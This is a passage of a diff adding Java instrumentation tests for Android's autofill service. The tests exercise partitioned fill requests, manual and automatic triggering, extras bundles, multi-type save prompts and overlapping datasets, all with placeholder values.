+                        .setField(ID_L3C2, "l3c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 3, 1);
+        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
+
+        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
+        if (manually) {
+            assertHasFlags(fillRequest3.flags, FLAG_MANUAL_REQUEST);
+            assertValue(fillRequest3.structure, ID_L3C1, "");
+        } else {
+            assertThat(fillRequest3.flags).isEqualTo(0);
+            assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
+        }
+        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 3");
+
+        // Check the results.
+        expectation3.assertAutoFilled();
+
+        // 4th partition
+        // Prepare.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 4"))
+                        .setField(ID_L4C1, "l4c1")
+                        .setField(ID_L4C2, "l4c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1")
+                .onCell(4, 2, "l4c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 4, 1);
+        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
+
+        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
+        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
+        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
+        if (manually) {
+            assertHasFlags(fillRequest4.flags, FLAG_MANUAL_REQUEST);
+            assertValue(fillRequest4.structure, ID_L4C1, "");
+        } else {
+            assertThat(fillRequest4.flags).isEqualTo(0);
+            assertTextIsSanitized(fillRequest4.structure, ID_L4C1);
+        }
+        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 4");
+
+        // Check the results.
+        expectation4.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofill4PartitionsMixManualAndAuto() throws Exception {
+        // Set service.
+        enableService();
+
+        // 1st partition - auto
+        // Prepare.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger auto-fill.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 1");
+
+        // Check the results.
+        expectation1.assertAutoFilled();
+
+        // 2nd partition - manual
+        // Prepare
+        // Must set text before creating expectation, and it must be a subset of the dataset values,
+        // otherwise the UI won't be shown because of filtering
+        mActivity.setText(2, 1, "l2");
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 2"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+
+        // Trigger auto-fill.
+        mActivity.forceAutofill(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
+
+        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest2.structure, ID_L2C1, "l2");
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 2");
+
+        // Check the results.
+        expectation2.assertAutoFilled();
+
+        // 3rd partition - auto
+        // Prepare.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 3"))
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger auto-fill.
+        focusCell(3, 1);
+        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
+        assertThat(fillRequest3.flags).isEqualTo(0);
+
+        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
+        assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
+        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 3");
+
+        // Check the results.
+        expectation3.assertAutoFilled();
+
+        // 4th partition - manual
+        // Must set text before creating expectation, and it must be a subset of the dataset values,
+        // otherwise the UI won't be shown because of filtering
+        mActivity.setText(4, 1, "l4");
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 4"))
+                        .setField(ID_L4C1, "l4c1")
+                        .setField(ID_L4C2, "l4c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1")
+                .onCell(4, 2, "l4c2");
+
+        // Trigger auto-fill.
+        mActivity.forceAutofill(4, 1);
+        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest4.flags, FLAG_MANUAL_REQUEST);
+
+        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
+        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
+        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
+        assertValue(fillRequest4.structure, ID_L4C1, "l4");
+        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 4");
+
+        // Check the results.
+        expectation4.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillBundleDataIsPassedAlong() throws Exception {
+        // Set service.
+        enableService();
+
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4");
+
+        // Prepare 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setExtras(extras)
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger auto-fill on 1st partition.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        assertThat(fillRequest1.data).isNull();
+        mUiBot.assertDatasets("l1c1");
+
+        // Prepare 2nd partition; it replaces 'number' and adds 'numbers2'
+        extras.clear();
+        extras.putString("numbers", "48");
+        extras.putString("numbers2", "1516");
+
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setExtras(extras)
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger auto-fill on 2nd partition
+        focusCell(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(0);
+        assertWithMessage("null bundle on request 2").that(fillRequest2.data).isNotNull();
+        assertWithMessage("wrong number of extras on request 2 bundle")
+                .that(fillRequest2.data.size()).isEqualTo(1);
+        assertThat(fillRequest2.data.getString("numbers")).isEqualTo("4");
+
+        // Prepare 3nd partition; it has no extras
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setExtras(null)
+                .build();
+        sReplier.addResponse(response3);
+
+        // Trigger auto-fill on 3rd partition
+        focusCell(3, 1);
+        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
+        assertThat(fillRequest3.flags).isEqualTo(0);
+        assertWithMessage("null bundle on request 3").that(fillRequest2.data).isNotNull();
+        assertWithMessage("wrong number of extras on request 3 bundle")
+                .that(fillRequest3.data.size()).isEqualTo(2);
+        assertThat(fillRequest3.data.getString("numbers")).isEqualTo("48");
+        assertThat(fillRequest3.data.getString("numbers2")).isEqualTo("1516");
+
+
+        // Prepare 4th partition; it contains just 'numbers4'
+        extras.clear();
+        extras.putString("numbers4", "2342");
+
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
+                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .setExtras(extras)
+                .build();
+        sReplier.addResponse(response4);
+
+        // Trigger auto-fill on 4th partition
+        focusCell(4, 1);
+        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
+        assertThat(fillRequest4.flags).isEqualTo(0);
+        assertWithMessage("non-null bundle on request 4").that(fillRequest4.data).isNull();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        assertWithMessage("wrong number of extras on save request bundle")
+                .that(saveRequest.data.size()).isEqualTo(1);
+        assertThat(saveRequest.data.getString("numbers4")).isEqualTo("2342");
+    }
+
+    @Test
+    public void testSaveOneSaveInfoOnFirstPartitionWithIdsOnSecond() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+    }
+
+    @Test
+    public void testSaveOneSaveInfoOnSecondPartitionWithIdsOnFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+    }
+
+    @Test
+    public void testSaveTwoSaveInfosDifferentTypes() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+    }
+
+    @Test
+    public void testSaveThreeSaveInfosDifferentTypes() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 3rd partition.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
+                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
+                .build();
+        sReplier.addResponse(response3);
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.setText(3, 1, "L3C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD,
+                SAVE_DATA_TYPE_USERNAME);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
+    }
+
+    @Test
+    public void testSaveThreeSaveInfosDifferentTypesIncludingGeneric() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC, ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 3rd partition.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setRequiredSavableIds(
+                        SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC | SAVE_DATA_TYPE_USERNAME,
+                        ID_L3C1)
+                .build();
+        sReplier.addResponse(response3);
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.setText(3, 1, "L3C1");
+        mActivity.save();
+
+        // Make sure GENERIC type is not shown on snackbar
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_USERNAME);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
+    }
+
+    @Test
+    public void testSaveMoreThanThreeSaveInfosDifferentTypes() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 3rd partition.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
+                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
+                .build();
+        sReplier.addResponse(response3);
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 4th partition.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
+                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
+                        | SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_ADDRESS, ID_L4C1)
+                .build();
+        sReplier.addResponse(response4);
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.setText(3, 1, "L3C1");
+        mActivity.setText(4, 1, "L4C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
+        assertValue(saveRequest.structure, ID_L4C1, "L4C1");
+    }
+
+    @Test
+    public void testIgnoredFieldsDontTriggerAutofill() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setIgnoreFields(ID_L2C1, ID_L2C2)
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger auto-fill on 1st partition.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
+        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
+
+        // Make sure UI is shown on 1st partition
+        mUiBot.assertDatasets("l1c1");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("l1c2");
+
+        // Make sure UI is not shown on ignored partition
+        focusCell(2, 1);
+        mUiBot.assertNoDatasets();
+        focusCellNoWindowChange(2, 2);
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset, but they don't overlap, i.e.,
+     * each {@link FillResponse} only contain fields within the partition.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsNoOverlap() throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D2"))
+                        .setField(ID_L1C1, "L1C1")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, "L2C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, "L3C1")
+                        .setField(ID_L3C2, "L3C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "L3C1")
+                .onCell(3, 2, "L3C2");
+
+        // Trigger partition.
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, "l4c1")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, "L4C1")
+                        .setField(ID_L4C2, "L4C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1");
+
+        // Trigger partition.
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        /*
+         *  Now move focus around to make sure the proper values are displayed each time.
+         */
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /*
+         *  Finally, autofill and check results.
+         */
+        focusCell(4, 1);
+        mUiBot.selectDataset("P4D1");
+        expectation4.assertAutoFilled();
+
+        focusCell(1, 1);
+        mUiBot.selectDataset("P1D1");
+        expectation1.assertAutoFilled();
+
+        focusCell(3, 1);
+        mUiBot.selectDataset("P3D2");
+        expectation3.assertAutoFilled();
+
+        focusCell(2, 2);
+        mUiBot.selectDataset("P2D2");
+        expectation2.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
+     * some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the first.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsOverlappingPicksFirst() throws Exception {
+        autofillMultipleDatasetsOverlapping(true);
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
+     * some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the second.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsOverlappingPicksSecond() throws Exception {
+        autofillMultipleDatasetsOverlapping(false);
+    }
+
+    private void autofillMultipleDatasetsOverlapping(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D1"))
+                        .setField(ID_L1C1, "1l1c1")
+                        .setField(ID_L1C2, "1l1c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D2"))
